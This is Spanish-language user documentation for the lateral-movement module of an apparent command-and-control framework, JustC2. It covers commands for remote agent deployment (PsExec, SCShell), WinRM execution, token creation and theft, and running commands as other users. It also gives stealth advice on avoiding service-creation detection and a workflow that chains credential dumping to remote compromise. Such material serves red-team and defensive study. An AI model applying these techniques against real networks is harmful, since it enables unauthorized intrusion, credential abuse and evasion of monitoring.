El módulo LateralMovement-BOF proporciona comandos para moverse de una máquina comprometida a otras dentro de la red. Incluye técnicas de ejecución remota, manipulación de tokens de seguridad y ejecución como otros usuarios.

Disponible en agentes: Beacon, Gopher (solo Windows).


Ejecución Remota — jump

Los comandos jump despliegan un nuevo agente en una máquina remota.

jump psexec

Ejecución remota mediante la creación de un servicio en la máquina objetivo, similar a la herramienta PsExec de Sysinternals. Crea un servicio de Windows, sube el payload y lo ejecuta.

Requiere: privilegios de administrador en la máquina objetivo y conectividad SMB (puerto 445).

jump psexec --target <hostname/IP> --listener <nombre_listener> [--service_name <nombre>]
ArgumentoRequeridoDescripción
--targetHostname o dirección IP de la máquina objetivo
--listenerNombre del listener donde el nuevo agente llamará de vuelta
--service_nameNoNombre personalizado para el servicio creado (se genera uno aleatorio si no se especifica)

Ejemplo:

jump psexec --target DC01.domain.local --listener http-listener
jump psexec --target 192.168.1.10 --listener http-listener --service_name MiServicio

Cuándo usarlo: Cuando se tiene acceso administrativo al objetivo y no hay preocupación por la creación de un servicio visible. Es la técnica más directa y confiable, pero también la más ruidosa — los servicios creados son detectables por EDR/SIEM.


jump scshell

Ejecución remota mediante SCShell — modifica la ruta binaria de un servicio existente usando ChangeServiceConfigA en lugar de crear uno nuevo. Más sigiloso que PsExec.

jump scshell --target <hostname/IP> --service <nombre_servicio> --payload <comando>
ArgumentoRequeridoDescripción
--targetHostname o dirección IP del objetivo
--serviceNombre de un servicio existente en la máquina objetivo
--payloadComando a ejecutar (se establece como binPath del servicio)

Ejemplo:

jump scshell --target SRV01 --service wuauserv --payload "C:\Windows\Temp\agent.exe"

Cuándo usarlo: Cuando se necesita mayor sigilo. Al modificar un servicio existente en lugar de crear uno nuevo, se reduce la huella forense. Ideal cuando hay monitorización activa de eventos de creación de servicios (Event ID 7045). Precaución: si el servicio modificado es crítico, puede causar problemas en el sistema.


Ejecución Remota — invoke

Los comandos invoke ejecutan comandos en máquinas remotas sin desplegar un nuevo agente completo.

invoke winrm

Ejecuta un comando en una máquina remota utilizando WinRM (Windows Remote Management).

invoke winrm --target <hostname/IP> --command <comando>
ArgumentoRequeridoDescripción
--targetHostname o IP del objetivo
--commandComando a ejecutar remotamente

Ejemplo:

invoke winrm --target DC01 --command "whoami /all"
invoke winrm --target 192.168.1.5 --command "net user /domain"

Cuándo usarlo: Cuando WinRM está habilitado en el objetivo (puerto 5985/5986). Útil para ejecutar comandos puntuales sin necesidad de desplegar un agente. Ideal para reconocimiento rápido o la ejecución de stagers.


invoke scshell

Ejecuta un comando remoto mediante SCShell sin desplegar un agente.

invoke scshell --target <hostname/IP> --service <nombre_servicio> --command <comando>
ArgumentoRequeridoDescripción
--targetHostname o IP del objetivo
--serviceNombre de un servicio existente en el objetivo
--commandComando a ejecutar

Ejemplo:

invoke scshell --target SRV02 --service Spooler --command "powershell -enc XXXXXXXX"

Cuándo usarlo: Similar a jump scshell pero sin desplegar un agente completo. Útil para ejecución puntual de comandos cuando se quiere evitar crear servicios nuevos.


Manipulación de Tokens — token

Los comandos token permiten crear o robar tokens de seguridad de Windows, que luego se pueden usar para realizar acciones con la identidad de otro usuario.

token make

Crea un nuevo token de acceso a partir de credenciales conocidas.

token make --domain <dominio> --username <usuario> --password <contraseña>
ArgumentoRequeridoDescripción
--domainNombre del dominio
--usernameNombre de usuario
--passwordContraseña del usuario

Ejemplo:

token make --domain CORP --username admin_user --password "P@ssw0rd123"

Cuándo usarlo: Cuando se tienen credenciales (obtenidas con hashdump, dcsync, askcreds, etc.) y se necesita actuar como ese usuario sin iniciar sesión interactiva. El token creado se aplica al agente actual, por lo que todos los comandos posteriores se ejecutarán con esa identidad. Ideal antes de usar jump psexec o invoke winrm hacia una máquina donde ese usuario tiene acceso.


token steal

Roba el token de seguridad de un proceso en ejecución.

token steal --pid <PID>
ArgumentoRequeridoDescripción
--pidID del proceso del cual robar el token

Ejemplo:

token steal --pid 4532

Integración con GUI: También disponible desde el Process Browser — clic derecho sobre un proceso → Steal Token.

Cuándo usarlo: Cuando hay un proceso ejecutándose como un usuario de interés (un administrador de dominio con sesión abierta, un servicio ejecutándose como cuenta privilegiada, etc.). Use el Process Browser o ps para identificar procesos de usuarios objetivo, luego robe su token. Requiere SeDebugPrivilege o privilegios de administrador.


Ejecución como Otro Usuario — runas

runas-user

Ejecuta un comando como otro usuario utilizando CreateProcessWithLogonW.

runas-user --credentials <DOMINIO\usuario> --password <contraseña> --command <comando>
ArgumentoRequeridoDescripción
--credentialsCredenciales en formato DOMINIO\usuario
--passwordContraseña del usuario
--commandComando a ejecutar

Ejemplo:

runas-user --credentials "CORP\svc_backup" --password "Backup2024!" --command "cmd.exe /c dir \\\\FileServer\\C$"

Cuándo usarlo: Cuando se necesita ejecutar un comando específico con credenciales de otro usuario sin modificar el token del agente actual. A diferencia de token make, no altera el contexto de seguridad del agente — es una ejecución puntual.


runas-session

Ejecuta un comando en la sesión de otro usuario. Requiere privilegios de SYSTEM.

runas-session --session <session_id> --command <comando>
ArgumentoRequeridoDescripción
--sessionID de la sesión del usuario objetivo
--commandComando a ejecutar en esa sesión

Ejemplo:

runas-session --session 2 --command "C:\Windows\Temp\agent.exe"

Cuándo usarlo: Cuando se necesita actuar dentro de la sesión GUI de un usuario específico — por ejemplo, para tomar capturas de pantalla de su escritorio, acceder a su navegador abierto, o interactuar con aplicaciones que sólo existen en su sesión. Use quser (del módulo SAR-BOF) para obtener los IDs de sesión. Se necesita ser SYSTEM (use getsystem del módulo Elevation-BOF primero).


Integración con GUI

El módulo LateralMovement-BOF se integra con la interfaz gráfica de JustC2:

  • Panel de Targets: Clic derecho en un objetivo registrado → opciones para PsExec o WinRM directamente desde el menú contextual.
  • Process Browser: Clic derecho en un proceso → Steal Token para robar el token de seguridad de ese proceso.

Flujo de Trabajo Típico

  1. Obtener credenciales: Use hashdump, dcsync o askcreds para obtener credenciales.
  2. Crear token o suplantar identidad:
    • token make si tiene usuario/contraseña
    • token steal si hay un proceso del usuario objetivo en ejecución
  3. Ejecutar en máquina remota:
    • jump psexec para desplegar un nuevo agente (rápido, ruidoso)
    • jump scshell para desplegar un agente de forma sigilosa
    • invoke winrm para comandos puntuales
  4. Acciones en sesiones de usuario:
    • runas-session para actuar dentro de la sesión GUI de un usuario